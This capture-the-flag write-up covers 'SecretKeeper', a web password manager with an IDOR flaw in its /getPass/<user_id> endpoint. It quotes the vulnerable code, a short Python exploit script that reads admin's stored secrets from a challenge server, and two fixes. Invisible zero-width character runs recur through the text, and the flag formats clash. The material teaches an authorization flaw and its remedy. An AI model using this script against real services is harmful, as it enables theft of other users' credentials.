← Back to Writeups
CUSTOMEasyWeb

SecretKeeper

XESXOR9/2/20262 min read
#web#custom#easy#authorization-bypass-via-param#idor-(insecure-direct-object-r

SecretKeeper

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Authorization bypass via parameter manipulation, IDOR (Insecure Direct Object Reference)

Summary

Walkthrough of the CUSTOM Web SecretKeeper. Task: Password manager web app with source code provided. Solution: IDOR vulnerability in /getPass/<user_id> endpoint - only checks session presence, not ownership. Register any user, then access /get

Description

Там, где хранятся чужие тайны, безопасность — лишь иллюзия. Найди способ добраться до запретного.

(Where others' secrets are stored, security is just an illusion. Find a way to reach the forbidden.)

URL: http://62.173.140.174:16085
Source: secretKeeper_src.zip

Analysis

Source Code Review

1. Database initialization (utils.py, lines 11-14):

python
c.execute("INSERT INTO users (username, password) VALUES (?, ?)", ('admin', hashed_password))
admin_id = c.lastrowid
c.execute("INSERT INTO passwords (user_id, description, value) VALUES (?, ?, ?)", 
          (admin_id, 'Flag', 'CSC{R3D4C7ED}'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observations:

  • Admin is created first → admin_id = 1
  • Flag is stored in the passwords table with user_id = 1

2. Vulnerable endpoint (app.py, lines 49-54):

python
@app.route('/getPass/<int:user_id>')
def get_pass(user_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    passwords = get_passwords_by_user_id(DATABASE, user_id)  # user_id from URL!
    return jsonify(passwords)

Vulnerability: IDOR (Insecure Direct Object Reference)

Problem: The endpoint only checks for session presence ('user_id' in session), but does NOT verify that the requested user_id from URL matches session['user_id']. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Impact: Any authenticated user can retrieve passwords of any other user by simply changing the user_id in the URL.

Solution

Exploitation

python
#!/usr/bin/env python3
import requests

base = "http://62.173.140.174:16085"
s = requests.Session()

# 1. Register a new user
s.post(f"{base}/register", data={
    "username": "testuser123",
    "password": "testpass123"
})

# 2. Login
s.post(f"{base}/login", data={
    "username": "testuser123",
    "password": "testpass123"
})

# 3. IDOR - get admin's passwords (user_id=1)
r = s.get(f"{base}/getPass/1")
print(r.json())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result

json
[{"description":"Flag","id":1,"value":"CODEBY{REDACTED}"}]

Fix

The endpoint should verify that the requested user_id matches the current user:

python
@app.route('/getPass/<int:user_id>')
def get_pass(user_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    # Add this check!
    if user_id != session['user_id']:
        return jsonify({"error": "Forbidden"}), 403
    
    passwords = get_passwords_by_user_id(DATABASE, user_id)
    return jsonify(passwords)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Or better — don't accept user_id from URL at all:

python
@app.route('/getPass')
def get_pass():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    passwords = get_passwords_by_user_id(DATABASE, session['user_id'])
    return jsonify(passwords)

References

  • OWASP IDOR
  • PortSwigger IDOR ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Authorization bypass via parameter manipulation, IDOR (Insecure Direct Object Reference) was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-20 • CUSTOM • SecretKeeper • Difficulty: Easy